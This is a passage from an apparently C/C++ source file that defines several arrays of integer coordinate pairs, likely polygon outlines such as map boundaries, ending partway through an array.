P arrB3[] = { P(453492851, 663592496), P(453492810, 663596441), P(453493792, 663596451), P(453493751, 663600397), P(453495716, 663600418), P(453494712, 663602380), P(453486864, 663601311), P(453487385, 663598357), P(453490353, 663596416) };
P arrB4[] = { P(452356784, 661602726), P(452353703, 661613453), P(452343909, 661616248), P(452343881, 661618206), P(452338044, 661617141), P(452338016, 661619100), P(452331162, 661620958), P(452331133, 661622916), P(452323275, 661626718), P(452322257, 661629642), P(452319317, 661630577), P(452318299, 661633500), P(452309458, 661637776), P(452284978, 661644269), P(452266282, 661655256), P(452265263, 661658179), P(452248612, 661662828), P(452248583, 661664786), P(452231974, 661666496), P(452231959, 661667475), P(452236821, 661668528), P(452236807, 661669507), P(452233895, 661668484), P(452233866, 661670443), P(452225081, 661670798), P(452224091, 661671763), P(452222148, 661671246), P(452222119, 661673204), P(452214257, 661677004), P(452214243, 661677983), P(452210313, 661679883), P(452209337, 661679868), P(452209293, 661682806), P(452206367, 661682761), P(452206323, 661685700), P(452189661, 661690833), P(452184829, 661687820), P(452148187, 661693368), P(452143731, 661696008), P(452130592, 661700788), P(452122615, 661700850), P(452115430, 661696551), P(452062913, 661685937), P(452059957, 661687850), P(452052154, 661687728), P(452042340, 661691492), P(452026228, 661684402), P(452020760, 661682756), P(452020081, 661677955), P(452006407, 661681128), P(452001469, 661684968), P(451969175, 661691310), P(451967193, 661693237), P(451934945, 661696637), P(451930131, 661692641), P(451887392, 661681172), P(451855099, 661666775), P(451846671, 661665812), P(451841898, 661659368), P(451825400, 661654198), P(451825433, 661652240), P(451822507, 661652192), P(451819678, 661646268), P(451815794, 661645225), P(451815826, 661643266), P(451811942, 661642223), P(451811974, 661640264), P(451808089, 661639221), P(451809097, 661637278), P(451805229, 661635255), P(451804965, 661621540), P(451794850, 661614025), P(451772514, 661608268), P(451771588, 661605315), P(451776463, 661605396), P(451776511, 661602459), P(451779971, 661599579), P(451778429, 661598204), P(451763934, 661596373), P(451764453, 661594424), P(451757889, 661578646), P(451755722, 661569788), P(451754058, 661566716), P(451750602, 661545596), P(451749346, 661540282), P(451742486, 661507590), P(451741974, 661498759), P(451744022, 661494279), P(451743407, 661486394), P(451744943, 661484090), P(451745890, 661482247), P(451746855, 661474598), P(451745114, 661468556), P(451746906, 661463436), P(451752666, 661451916), P(451747874, 661448278), P(451748442, 661443394), P(451747483, 661442398), P(451748555, 661436544), P(451747630, 661433593), P(451753251, 661418029), P(451751302, 661417996), P(451752342, 661414100), P(451754283, 661414620), P(451754792, 661413162), P(451753851, 661411189), P(451755832, 661409265), P(451755395, 661406322), P(451758318, 661406371), P(451758901, 661400509), P(451761873, 661397624), P(451763466, 661389822), P(451769894, 661384058), P(451773516, 661371399), P(451775464, 661371431), P(451783508, 661356398), P(451785448, 661356921), P(451785966, 661354973), P(451792347, 661352144), P(451792881, 661349218), P(451797298, 661347335), P(451796373, 661344384), P(451803223, 661342541), P(451803256, 661340585), P(451805204, 661340617), P(451804844, 661332785), P(451809970, 661317217), P(451811951, 661315293), P(451817678, 661292889), P(451819626, 661292921), P(451822715, 661282700), P(451825629, 661283239), P(451825661, 661281283), P(451829557, 661281347), P(451829588, 661279391), P(451834442, 661280450), P(451834975, 661277524), P(451845266, 661273781), P(451844324, 661271809), P(451847229, 661272834), P(451847261, 661270879), P(451849209, 661270911), P(451848266, 661268940), P(451849561, 661269603), P(451860517, 661264250), P(451861037, 661262302), P(451871804, 661259053), P(451874797, 661254703), P(451880647, 661254307), P(451881661, 661251880), P(451885540, 661252921), P(451886057, 661250974), P(451893488, 661243271), P(451905219, 661240527), P(451905251, 661238572), P(451909153, 661238144), P(451915097, 661231885), P(451918011, 661232420), P(451924881, 661229109), P(451924912, 661227154), P(451943521, 661220608), P(451943553, 661218653), P(451960151, 661215985), P(451961164, 661213554), P(451963095, 661214563), P(451973821, 661213757), P(451979290, 661206512), P(451981756, 661204595), P(451981710, 661207528), P(451990519, 661204734), P(451991554, 661200840), P(451997380, 661201910), P(451998931, 661196067), P(452002371, 661194166), P(452003383, 661191736), P(452007285, 661191310), P(452007346, 661187400), P(452009293, 661187431), P(452009324, 661185476), P(452011279, 661185016), P(452017250, 661176801), P(452021198, 661173439), P(452024126, 661172998), P(452024157, 661171043), P(452033960, 661166796), P(452090354, 661172079), P(452089836, 661174026), P(452093184, 661177990), P(452095601, 661179005), P(452096030, 661182922), P(452097977, 661182952), P(452098890, 661186878), P(452102266, 661188886), P(452103675, 661192328), P(452116287, 661195457), P(452139676, 661194352), P(452140190, 661192404), P(452151470, 661187197), P(452158403, 661187227), P(452158852, 661185302), P(452165201, 661181708), P(452166534, 661179723), P(452184851, 661169128), P(452232800, 661153230), P(452243602, 661147038), P(452243631, 661145083), P(452248513, 661144179), P(452248541, 661142223), P(452253423, 661141319), P(452253452, 661139364), P(452274918, 661136260), P(452294307, 661141927), P(452294278, 661143881), P(452297198, 661143924), P(452297156, 661146857), P(452309789, 661148508), P(452321506, 661146238), P(452321534, 661144282), P(452323481, 661144311), P(452323509, 661142356), P(452326423, 661142886), P(452331318, 661141003), P(452336178, 661141564), P(452336207, 661139609), P(452339113, 661140629), P(452339141, 661138675), P(452368316, 661141054), P(452368273, 661143987), P(452378022, 661143150), P(452378050, 661141195), P(452383897, 661140789), P(452384857, 661141781), P(452388161, 661140539), P(452393908, 661135947), P(452415172, 661132441), P(452433667, 661132705), P(452438555, 661131310), P(452438583, 661129355), P(452448309, 661129980), P(452451250, 661128558), P(452450249, 661130499), P(452469711, 661131261), P(452470670, 661132253), P(452511527, 661134782), P(452516360, 661137295), P(452516387, 661135341), P(452521234, 661136873), P(452522241, 661134445), P(452527101, 661135000), P(452528089, 661134036), P(452534896, 661134621), P(452534922, 661132666), P(452538783, 661135162), P(452549524, 661132869), P(452549484, 661135801), P(452551431, 661135828), P(452552438, 661133396), P(452563179, 661131102), P(452563691, 661129154), P(452567152, 661125291), P(452569244, 661123719), P(452573237, 661121670), P(452577927, 661120551), P(452580188, 661119431), P(452582833, 661117686), P(452583462, 661116160), P(452586793, 661112852), P(452591212, 661109980), P(452592733, 661105600), P(452594686, 661105140), P(452594224, 661103178), P(452596490, 661091265), P(452598766, 661088576), P(452600804, 661084696), P(452600876, 661083745), P(452602302, 661081783), P(452602277, 661080782), P(452600669, 661075187), P(452596083, 661073879), P(452598242, 661058270), P(452600188, 661058297), P(452601241, 661052447), P(452610052, 661054296), P(452610550, 661047687), P(452611156, 661038899), P(452616042, 661037498), P(452617048, 661035070), P(452630756, 661028902), P(452641493, 661026606), P(452642499, 661024174), P(452647358, 661024730), P(452647383, 661022776), P(452682271, 661033994), P(452682245, 661035948), P(452685171, 661035497), P(452699665, 661043508), P(452704492, 661046505), P(452709823, 661048043), P(452710286, 661050004), P(452712238, 661049539), P(452714159, 661051520), P(452718057, 661051084), P(452718980, 661055005), P(452722866, 661055544), P(452725728, 661059982), P(452734449, 661063028), P(452734423, 661064983), P(452742177, 661067527), P(452759708, 661066780), P(452772290, 661072321), P(452773200, 661077220), P(452776119, 661077258), P(452782744, 661092006), P(452784690, 661092031), P(452786574, 661096944), P(452789500, 661096491), P(452793847, 661098993), P(452794311, 661100954), P(452799165, 661101994), P(452800013, 661111780), P(452803900, 661112318), P(452804842, 661114776), P(452825178, 661123345), P(452832947, 661124913), P(452832971, 661122958), P(452837832, 661123508), P(452838818, 661122542), P(452841726, 661123557), P(452880706, 661120632), P(452880730, 661118678), P(452893421, 661115904), P(452893397, 661117860), P(452904062, 661121413), P(452928410, 661120740), P(452943065, 661116525), P(452943090, 661114570), P(452985961, 661111675), P(453009311, 661112938), P(453015169, 661111544), P(453015204, 661108612), P(453021080, 661105751), P(453021056, 661107705), P(453034702, 661106402), P(453035704, 661103972), P(453044499, 661101145), P(453044476, 661103100), P(453051330, 661099760), P(453054245, 661100285), P(453056232, 661096886), P(453062072, 661096956), P(453075763, 661091744), P(453075786, 661089790), P(453091342, 661091440), P(453092327, 661090473), P(453098161, 661091033), P(453098150, 661092010), P(453099123, 661092022), P(453101067, 661091304), P(453104154, 661092379), P(453105206, 661093453), P(453109697, 661093005), P(453110398, 661090051), P(453114328, 661090409), P(453118888, 661090140), P(453118958, 661093095), P(453119660, 661093453), P(453121274, 661094527), P(453121695, 661096766), P(453122747, 661097751), P(453124572, 661098467), P(453124361, 661100168), P(453125694, 661100168), P(453127659, 661101601), P(453128220, 661105361), P(453130044, 661105540), P(453132290, 661105092), P(453133272, 661104287), P(453136921, 661105361), P(453138815, 661104466), P(453142464, 661103481), P(453144569, 661102227), P(453146744, 661100795), P(453149340, 661100078), P(453158812, 661100795), P(453159514, 661097751), P(453161829, 661098914), P(453162321, 661101869), P(453163934, 661102854), P(453166951, 661104018), P(453168074, 661107241), P(453169898, 661108226), P(453172705, 661109032), P(453174529, 661110554), P(453186177, 661110644), P(453186878, 661109838), P(453188001, 661107779), P(453189475, 661108674), P(453189615, 661111987), P(453190527, 661112793), P(453196070, 661113420), P(453201543, 661114046), P(453202244, 661116285), P(453202244, 661118255), P(453204349, 661120762), P(453206524, 661119956), P(453209542, 661119419), P(453212729, 661117781), P(453222419, 661121803), P(453224728, 661121833), P(453239945, 661125773), P(453245816, 661125587), P(453248112, 661129064), P(453251571, 661130966), P(453256041, 661132041), P(453258475, 661130577), P(453259734, 661131275), P(453264963, 661132441), P(453268426, 661134581), P(453272059, 661136164), P(453273111, 661140910), P(453274725, 661145857), P(453272648, 661157566), P(453269739, 661156556), P(453269716, 661158511), P(453267989, 661159496), P(453270658, 661161455), P(453269163, 661164371), P(453269619, 661167310), P(453267672, 661167288), P(453265548, 661174009), P(453267433, 661180612), P(453263367, 661183151), P(453261027, 661187651), P(453259666, 661192864), P(453253680, 661199399), P(453248784, 661201787), P(453230245, 661205001), P(453230211, 661207935), P(453225321, 661209835), P(453221844, 661215663), P(453222311, 661217624), P(453220363, 661217602), P(453220341, 661219558), P(453205701, 661222324), P(453200743, 661230092), P(453190959, 661233891), P(453190404, 661239753), P(453191311, 661245632), P(453189818, 661248549), P(453186885, 661249493), P(453186863, 661251448), P(453172220, 661254213), P(453172198, 661256170), P(453161485, 661256045), P(453161462, 661258001), P(453151712, 661258866), P(453151689, 661260821), P(453141938, 661261686), P(453141916, 661263642), P(453139968, 661263619), P(453139991, 661261663), P(453130228, 661263506), P(453130251, 661261549), P(453102969, 661262206), P(453102029, 661259260), P(453082505, 661262941), P(453082493, 661263920), P(453080545, 661263896), P(453072684, 661269671), P(453059060, 661268530), P(453059999, 661271476), P(453055129, 661271417), P(453055106, 661273373), P(453053158, 661273350), P(453053181, 661271393), P(453020987, 661275405), P(453007376, 661273284), P(452999525, 661278078), P(452960553, 661278578), P(452954661, 661282418), P(452940027, 661284193), P(452936101, 661286592), P(452931086, 661298268), P(452905730, 661300394), P(452900823, 661303267), P(452875590, 661304251), P(452872569, 661303401), P(452850197, 661300670), P(452843335, 661304008), P(452842311, 661307907), P(452822717, 661316461), P(452818696, 661326192), P(452811865, 661327083), P(452811839, 661329039), P(452796297, 661325412), P(452785563, 661326742), P(452782501, 661337464), P(452780553, 661337438), P(452778517, 661344261), P(452772646, 661346141), P(452772634, 661347119), P(452774582, 661347145), P(452771495, 661359823), P(452765636, 661360726), P(452765611, 661362682), P(452762688, 661362644), P(452763085, 661369499), P(452760587, 661374358), P(452747858, 661379084), P(452747807, 661382997), P(452743896, 661383925), P(452743858, 661386859), P(452739942, 661388274), P(452738000, 661387761), P(452735987, 661392627), P(452723294, 661394417), P(452723269, 661396373), P(452718410, 661395331), P(452718384, 661397287), P(452702794, 661397081), P(452702769, 661399037), P(452700820, 661399011), P(452701768, 661400981), P(452696857, 661403851), P(452696805, 661407765), P(452689010, 661407662), P(452686997, 661412527), P(452665442, 661421046), P(452665429, 661422024), P(452664454, 661422012), P(452519219, 661493429), P(452498805, 661489227), P(452498832, 661487270), P(452482290, 661485079), P(452483238, 661487050), P(452481288, 661487022), P(452479284, 661490910), P(452474369, 661493777), P(452464402, 661509299), P(452457524, 661513117), P(452456856, 661525835), P(452446346, 661545266), P(452440455, 661548119), P(452439424, 661552021), P(452431563, 661556313), P(452429695, 661557950), P(452426184, 661556651), P(452423701, 661560608), P(452420790, 661559587), P(452420818, 661557629), P(452412016, 661559461), P(452406974, 661571138), P(452398390, 661575510), P(452399623, 661587782), P(452405710, 661584386), P(452406300, 661585550), P(452400264, 661588811), P(452394039, 661589065), P(452387137, 661594353), P(452377189, 661607919), P(452375253, 661606911), P(452375296, 661603974), P(452368492, 661602405), P(452365559, 661602853), P(452365588, 661600895), P(452363609, 661602825), P(452360684, 661602783), P(452361702, 661599860) };
P arrB5[] = { P(453373290, 663707143), P(453373386, 663712231), P(453370442, 663713991), P(453369680, 663716470), P(453361829, 663715396), P(453361808, 663717370), P(453356883, 663718303), P(453356861, 663720276), P(453358827, 663720298), P(453358816, 663721284), P(453352920, 663721219), P(453347946, 663714950), P(453345194, 663713287), P(453338233, 663716122), P(453337226, 663717766), P(453335284, 663716089), P(453334538, 663717958), P(453332874, 663718470), P(453333066, 663722054), P(453328074, 663723014), P(453327335, 663723895), P(453322698, 663725063), P(453322389, 663726801), P(453315966, 663729690), P(453313522, 663728676), P(453313499, 663730649), P(453304622, 663733510), P(453301618, 663738410), P(453299652, 663738389), P(453299631, 663740362), P(453297670, 663739845), P(453294727, 663739320), P(453294705, 663741293), P(453273098, 663748103), P(453267978, 663751430), P(453251338, 663750919), P(453246497, 663745185), P(453225846, 663745934), P(453223898, 663744433), P(453222960, 663740475), P(453216047, 663743355), P(453216092, 663739408), P(453213144, 663739374), P(453213121, 663741348), P(453211634, 663740835), P(453210226, 663740259), P(453209212, 663739329), P(453209235, 663737354), P(453212195, 663736402), P(453207818, 663734534), P(453208330, 663731975), P(453207361, 663729438), P(453204746, 663728903), P(453202954, 663727366), P(453200650, 663725574), P(453198629, 663719468), P(453197322, 663712774), P(453201221, 663707656), P(453198602, 663701510), P(453194762, 663698439), P(453190922, 663696903), P(453189642, 663692807), P(453186570, 663688198), P(453175515, 663678739), P(453170751, 663665857), P(453161977, 663659834), P(453160070, 663654878), P(453157134, 663653857), P(453155215, 663649888), P(453149309, 663650805), P(453148488, 663636983), P(453145541, 663636948), P(453146558, 663634000), P(453153423, 663635069), P(453153400, 663637041), P(453156336, 663638063), P(453156359, 663636089), P(453159295, 663637111), P(453162858, 663626301), P(453160519, 663616408), P(453165454, 663614493), P(453165978, 663611540), P(453170423, 663609619), P(453171941, 663605691), P(453179856, 663600852), P(453180372, 663598885), P(453187294, 663595021), P(453194808, 663582285), P(453201899, 663563628), P(453207620, 663536079), P(453209585, 663536101), P(453211101, 663532175), P(453214563, 663530242), P(453218066, 663524366), P(453219665, 663513537), P(453222611, 663513570), P(453224642, 663507678), P(453229575, 663505763), P(453229597, 663503790), P(453231561, 663503813), P(453230625, 663499859), P(453233570, 663499892), P(453239047, 663493052), P(453243098, 663482253), P(453247060, 663479340), P(453251502, 663477419), P(453251525, 663475447), P(453257427, 663474529), P(453256957, 663472551), P(453262442, 663465218), P(453293799, 663470997), P(453293274, 663473949), P(453298671, 663474501), P(453299663, 663473527), P(453302603, 663474054), P(453302581, 663476026), P(453334999, 663474908), P(453337479, 663472472), P(453337131, 663459651), P(453339100, 663459178), P(453340109, 663456726), P(453345034, 663455300), P(453353870, 663455398), P(453362284, 663449084), P(453365337, 663439259), P(453371784, 663433415), P(453373796, 663428999), P(453379670, 663430544), P(453378667, 663432505), P(453383549, 663435021), P(453389455, 663433608), P(453389477, 663431637), P(453393414, 663430694), P(453394422, 663428239), P(453406229, 663425904), P(453406208, 663427875), P(453410119, 663429396), P(453415075, 663425015), P(453416083, 663422559), P(453427853, 663423672), P(453431818, 663421383), P(453436170, 663416327), P(453441802, 663414278), P(453450250, 663413766), P(453458442, 663414790), P(453463562, 663416839), P(453466506, 663420102), P(453470091, 663421661), P(453471538, 663423715), P(453476911, 663426662), P(453477893, 663426673), P(453478875, 663426683), P(453480626, 663428451), P(453491596, 663430761), P(453491617, 663428790), P(453494561, 663428820), P(453495502, 663432774), P(453498432, 663434281), P(453503356, 663432856), P(453503335, 663434827), P(453504337, 663432866), P(453506301, 663432888), P(453504307, 663435823), P(453502343, 663435803), P(453499326, 663442672), P(453502271, 663442703), P(453502241, 663445660), P(453500277, 663445640), P(453502205, 663449109), P(453512007, 663450693), P(453512455, 663454641), P(453510409, 663462506), P(453512815, 663467461), P(453510851, 663467441), P(453508836, 663472350), P(453499989, 663473243), P(453499969, 663475214), P(453498005, 663475194), P(453497440, 663482090), P(453497410, 663485048), P(453497871, 663488011), P(453499846, 663487045), P(453500283, 663491980), P(453497707, 663503786), P(453493769, 663504730), P(453493142, 663517543), P(453491577, 663526402), P(453489613, 663526381), P(453487577, 663533263), P(453482656, 663534197), P(453478635, 663543030), P(453462838, 663550753), P(453463789, 663553721), P(453459865, 663553185), P(453456893, 663555620), P(453456871, 663557593), P(453455794, 663557572), P(453455698, 663558564), P(453456861, 663558579), P(453456840, 663560551), P(453454876, 663560530), P(453455334, 663563494), P(453451825, 663570360), P(453446666, 663573511), P(453445898, 663580678), P(453447791, 663580180), P(453447242, 663583175), P(453448742, 663583150), P(453449682, 663587106), P(453459526, 663585238), P(453459547, 663583266), P(453461511, 663583287), P(453460498, 663586235), P(453458533, 663586213), P(453458512, 663588186), P(453448669, 663590054), P(453449137, 663592032), P(453445596, 663601858), P(453437770, 663605127), P(453434634, 663603911), P(453431754, 663603846), P(453430829, 663604659), P(453429194, 663604615), P(453428844, 663606610), P(453430808, 663606631), P(453426291, 663615461), P(453423689, 663629243), P(453418745, 663632150), P(453414624, 663649863), P(453412660, 663649842), P(453413589, 663654785), P(453411634, 663653778), P(453409616, 663658689), P(453407651, 663658667), P(453401628, 663670442), P(453396694, 663672361), P(453391306, 663687367), P(453385834, 663694310), P(453373642, 663695558), P(453373066, 663697062), P(453365834, 663702471), P(453368618, 663706054) };
P arrB6[] = { P(452404827, 662444214), P(452409435, 662433462), P(452421723, 662429366), P(452428891, 662425782), P(452446811, 662412470), P(452459099, 662396086), P(452469851, 662375094), P(452490843, 662354101), P(452513883, 662336694), P(452523611, 662325430), P(452527707, 662316726), P(452548187, 662304437), P(452555355, 662292662), P(452565083, 662290102), P(452581467, 662276278), P(452596827, 662268598), P(452611675, 662266550), P(452626011, 662262966), P(452633179, 662257334), P(452639323, 662251190), P(452659291, 662246582), P(452663898, 662238902), P(452673627, 662235318), P(452680283, 662227126), P(452687451, 662214838), P(452687451, 662206134), P(452677723, 662199477), P(452683867, 662193334), P(452690523, 662198454), P(452699739, 662198454), P(452705883, 662196406), P(452707419, 662191797), P(452703835, 662170294), P(452696155, 662169270), P(452697179, 662163638), P(452692059, 662163125), P(452693083, 662160053), P(452701275, 662155446), P(452710491, 662155958), P(452719707, 662156982), P(452727199, 662150103), P(452740229, 662146595), P(452745307, 662150326), P(452755035, 662146230), P(452750427, 662153397), P(452757083, 662155446), P(452765275, 662151862), P(452771419, 662144694), P(452776538, 662130357), P(452779611, 662114998), P(452788827, 662106806), P(452799579, 662100662), P(452809819, 662095030), P(452838491, 662088374), P(452855899, 662076086), P(452872283, 662064821), P(452902490, 662049973), P(452923483, 662034102), P(452938843, 662030517), P(452955739, 662019766), P(452979290, 662000310), P(453007451, 661990582), P(453055899, 661972889), P(453077658, 661969101), P(453119067, 661970102), P(453126747, 661963958), P(453144667, 661956277), P(453171803, 661946550), P(453179482, 661937334), P(453196891, 661931701), P(453203547, 661921461), P(453220443, 661911222), P(453228635, 661900982), P(453240923, 661898421), P(453248603, 661890230), P(453266011, 661870261), P(453287515, 661858486), P(453303899, 661855925), P(453314139, 661852854), P(453330011, 661851317), P(453329499, 661856949), P(453333083, 661855925), P(453342811, 661851317), P(453358683, 661848758), P(453365339, 661842102), P(453382234, 661836470), P(453397595, 661834422), P(453406299, 661828278), P(453428315, 661829302), P(453436507, 661835446), P(453443162, 661838518), P(453449818, 661838006), P(453457499, 661833397), P(453469786, 661829814), P(453475419, 661824694), P(453492314, 661814454), P(453498970, 661812406), P(453524571, 661813429), P(453533275, 661809333), P(453541979, 661801142), P(453549659, 661792950), P(453557338, 661789877), P(453560923, 661783734), P(453562094, 661783499), P(453562877, 661782035), P(453564392, 661781898), P(453565603, 661780029), P(453568191, 661779574), P(453569120, 661780105), P(453572187, 661775541), P(453577307, 661773494), P(453586522, 661770934), P(453592155, 661766326), P(453595738, 661755062), P(453600347, 661750966), P(453611099, 661746869), P(453616219, 661743286), P(453625947, 661733558), P(453633115, 661731510), P(453645403, 661725366), P(453653595, 661719222), P(453663835, 661715126), P(453687899, 661710518), P(453695066, 661705398), P(453717594, 661689013), P(453721432, 661684218), P(453725599, 661681402), P(453736557, 661679220), P(453742064, 661677029), P(453744862, 661676716), P(453747313, 661675518), P(453749460, 661675129), P(453750545, 661673542), P(453752775, 661671731), P(453754943, 661667704), P(453755737, 661663682), P(453758555, 661661366), P(453761856, 661659626), P(453763455, 661657235), P(453766187, 661656018), P(453770331, 661648566), P(453776987, 661644982), P(453793371, 661640886), P(453807707, 661629110), P(453828699, 661620917), P(453865563, 661599413), P(453886042, 661597878), P(453892698, 661600438), P(453967451, 661604534), P(453981787, 661607606), P(453987931, 661611702), P(454011994, 661612213), P(454026843, 661611190), P(454037082, 661609142), P(454040667, 661613749), P(454051419, 661617846), P(454058075, 661617333), P(454061147, 661622966), P(454069851, 661630133), P(454074459, 661631670), P(454081627, 661628086), P(454082651, 661640886), P(454084187, 661645493), P(454093403, 661650614), P(454099035, 661652662), P(454089307, 661670070), P(454081627, 661678774), P(454067291, 661682870), P(454063706, 661687477), P(454060635, 661685430), P(454050907, 661691062), P(454042203, 661698229), P(454030426, 661711542), P(454022747, 661717685), P(454009947, 661726902), P(453996635, 661727414), P(453978203, 661738166), P(453967451, 661744822), P(453962842, 661757109), P(453959771, 661756597), P(453958235, 661751990), P(453953626, 661749430), P(453937243, 661756086), P(453902939, 661763765), P(453887579, 661780662), P(453861467, 661792438), P(453844571, 661807798), P(453814875, 661821622), P(453803611, 661831350), P(453774427, 661843638), P(453750874, 661852342), P(453738587, 661862582), P(453718107, 661870261), P(453708378, 661878966), P(453700699, 661885110), P(453686363, 661887670), P(453670491, 661895862), P(453656155, 661896374), P(453642331, 661900982), P(453622363, 661900982), P(453607515, 661909174), P(453592155, 661924534), P(453587035, 661934262), P(453581403, 661947574), P(453574747, 661957813), P(453569627, 661961398), P(453559387, 661959350), P(453557616, 661955248), P(453552840, 661953921), P(453548635, 661956789), P(453536347, 661968566), P(453530203, 661973173), P(453522011, 661975734), P(453517402, 661980854), P(453508699, 661983414), P(453499483, 661989558), P(453483098, 661996726), P(453473371, 662004405), P(453470299, 662015158), P(453464667, 662018229), P(453455451, 662015670), P(453442139, 662019254), P(453431899, 662029494), P(453426267, 662046902), P(453413467, 662069430), P(453402202, 662075062), P(453394523, 662077621), P(453382234, 662075574), P(453370971, 662075574), P(453345371, 662085302), P(453337178, 662092469), P(453318235, 662100150), P(453308507, 662107318), P(453301851, 662116022), P(453291611, 662122166), P(453278299, 662126262), P(453260891, 662123702), P(453231194, 662125237), P(453214367, 662130618), P(453206042, 662146953), P(453207493, 662146599), P(453210183, 662150477), P(453206315, 662155170), P(453196952, 662150737), P(453183375, 662147295), P(453155784, 662134555), P(453149057, 662145097), P(453145949, 662150303), P(453144139, 662154765), P(453138982, 662156908), P(453132801, 662157083), P(453126532, 662158075), P(453119423, 662156788), P(453115654, 662155456), P(453107291, 662169270), P(453084251, 662181558), P(453067867, 662188726), P(453041243, 662195893), P(453007451, 662210742), P(452985435, 662217398), P(452964955, 662223030), P(452948059, 662234806), P(452930651, 662251701), P(452917851, 662253238), P(452907099, 662259893), P(452885082, 662263990), P(452861019, 662274230), P(452832859, 662283445), P(452823131, 662290102), P(452803675, 662301365), P(452795995, 662301365), P(452786779, 662304437), P(452771419, 662306486), P(452758107, 662315190), P(452732507, 662325430), P(452700251, 662338741), P(452668507, 662351542), P(452652123, 662360757), P(452637787, 662365366), P(452631643, 662370998), P(452617819, 662378166), P(452595803, 662385845), P(452579419, 662399670), P(452571739, 662404278), P(452556891, 662406838), P(452543066, 662411958), P(452525147, 662417590), P(452495450, 662431926), P(452478043, 662430901), P(452449883, 662436534), P(452443738, 662441142), P(452429403, 662442678), P(452418650, 662441142), P(452414043, 662444214), P(452410971, 662440630) };
P arrB7[] = { P(455901517, 661967465), P(455901030, 661968592), P(455900288, 661970025), P(455899904, 661972022), P(455900083, 661974454), P(455897625, 661973712), P(455895731, 661972560), P(455893836, 661970461), P(455892761, 661967645), P(455893171, 661963165), P(455893529, 661964496), P(455893927, 661965628), P(455897460, 661967139), P(455899764, 661967651) };
P arrB8[] = { P(462224976, 655709334), P(462224231, 655708401), P(462220503, 655708401), P(462220503, 655706534), P(462219757, 655705601), P(462217520, 655705601), P(462216029, 655707467), P(462214537, 655708401), P(462213792, 655708401), P(462212300, 655707467), P(462210809, 655709334), P(462210063, 655709334), P(462209318, 655710267), P(462209318, 655711201), P(462208572, 655711201), P(462206335, 655714001), P(462206335, 655714934), P(462205589, 655715867), P(462205589, 655717734), P(462204098, 655717734), P(462203353, 655718667), P(462202607, 655718667), P(462195150, 655728001), P(462193659, 655728001), P(462192913, 655727068), P(462193659, 655726134), P(462193659, 655725201), P(462192913, 655724268), P(462192168, 655724268), P(462189185, 655720534), P(462187694, 655722401), P(462189185, 655724268), P(462189185, 655726134), P(462188439, 655726134), P(462186948, 655728001), P(462186202, 655728001), P(462185457, 655728935), P(462184711, 655730801), P(462185457, 655731735), P(462186202, 655731735), P(462186202, 655732668), P(462186948, 655733602), P(462186948, 655734535), P(462188439, 655736402), P(462189931, 655737335), P(462189931, 655740135), P(462189185, 655740135), P(462187694, 655738269), P(462186202, 655738269), P(462184711, 655736402), P(462183966, 655737335), P(462183966, 655740135), P(462183220, 655740135), P(462183220, 655739202), P(462181729, 655737335), P(462180983, 655738269), P(462179492, 655739202), P(462179492, 655740135), P(462180237, 655741069), P(462181729, 655741069), P(462181729, 655743869), P(462180983, 655743869), P(462180237, 655742936), P(462179492, 655742936), P(462178746, 655743869), P(462178000, 655742936), P(462175763, 655743869), P(462174272, 655741069), P(462172035, 655743869), P(462172781, 655744803), P(462173526, 655744803), P(462172781, 655745736), P(462172781, 655747603), P(462171289, 655747603), P(462170544, 655748536), P(462168307, 655750403), P(462169798, 655752270), P(462167561, 655756938), P(462167561, 655754137), P(462166815, 655753204), P(462165324, 655755071), P(462165324, 655756004), P(462163833, 655756004), P(462161596, 655757871), P(462161596, 655756938), P(462162342, 655756004), P(462162342, 655755071), P(462159359, 655751337), P(462154885, 655750403), P(462154885, 655751337), P(462155631, 655752270), P(462156376, 655752270), P(462157868, 655753204), P(462159359, 655755071), P(462159359, 655756004), P(462157868, 655756004), P(462157122, 655755071), P(462154885, 655755071), P(462154139, 655754137), P(462153394, 655754137), P(462151902, 655755071), P(462149665, 655757871), P(462149665, 655758805), P(462148920, 655759738), P(462148174, 655759738), P(462144446, 655764406), P(462144446, 655766273), P(462142955, 655768140), P(462142955, 655769073), P(462140718, 655771874), P(462141463, 655772808), P(462139972, 655776542), P(462139972, 655777475), P(462140718, 655778409), P(462141463, 655778409), P(462141463, 655779342), P(462140718, 655780276), P(462140718, 655784010), P(462141463, 655784944), P(462142209, 655784944), P(462142209, 655785877), P(462142955, 655786811), P(462142955, 655790545), P(462143700, 655791479), P(462145192, 655791479), P(462145192, 655792413), P(462146683, 655794280), P(462146683, 655795213), P(462147428, 655797081), P(462148174, 655797081), P(462148920, 655798014), P(462150411, 655798948), P(462151157, 655798948), P(462151902, 655799881), P(462154885, 655808284), P(462154885, 655809218), P(462152648, 655809218), P(462151157, 655808284), P(462149665, 655810152), P(462149665, 655811085), P(462151157, 655812953), P(462151902, 655814820), P(462152648, 655814820), P(462153394, 655815754), P(462154885, 655816687), P(462151902, 655816687), P(462151157, 655817621), P(462149665, 655817621), P(462147428, 655820422), P(462147428, 655821356), P(462148174, 655822289), P(462150411, 655822289), P(462151157, 655821356), P(462151157, 655823223), P(462150411, 655824157), P(462148920, 655824157), P(462145937, 655825091), P(462147428, 655826958), P(462148920, 655826958), P(462149665, 655827892), P(462150411, 655827892), P(462151157, 655826958), P(462152648, 655828825), P(462152648, 655830693), P(462151157, 655832560), P(462151157, 655833494), P(462150411, 655836295), P(462148920, 655836295), P(462148174, 655837229), P(462149665, 655839097), P(462150411, 655839097), P(462150411, 655840964), P(462149665, 655841898), P(462149665, 655843765), P(462150411, 655844699), P(462150411, 655850302), P(462149665, 655850302), P(462148920, 655849368), P(462148174, 655849368), P(462147428, 655848434), P(462145937, 655847501), P(462145192, 655848434), P(462145192, 655849368), P(462144446, 655850302), P(462144446, 655851236), P(462145192, 655852170), P(462145192, 655853103), P(462144446, 655854971), P(462143700, 655854971), P(462141463, 655857772), P(462140718, 655857772), P(462139972, 655856839), P(462138481, 655856839), P(462136244, 655855905), P(462134752, 655857772), P(462134752, 655858706), P(462135498, 655859640), P(462134752, 655859640), P(462134007, 655860574), P(462131770, 655865243), P(462130278, 655865243), P(462130278, 655863375), P(462129533, 655862442), P(462128041, 655862442), P(462125805, 655859640), P(462125059, 655860574), P(462123568, 655859640), P(462122822, 655860574), P(462121331, 655860574), P(462120585, 655861508), P(462119839, 655863375), P(462119839, 655864309), P(462122076, 655867111), P(462121331, 655867111), P(462120585, 655868045), P(462119839, 655868045), P(462119094, 655867111), P(462118348, 655867111), P(462116857, 655866177), P(462114620, 655868978), P(462112383, 655869912), P(462114620, 655867111), P(462114620, 655866177), P(462115365, 655866177), P(462116857, 655864309), P(462116857, 655863375), P(462116111, 655862442), P(462115365, 655862442), P(462114620, 655863375), P(462113128, 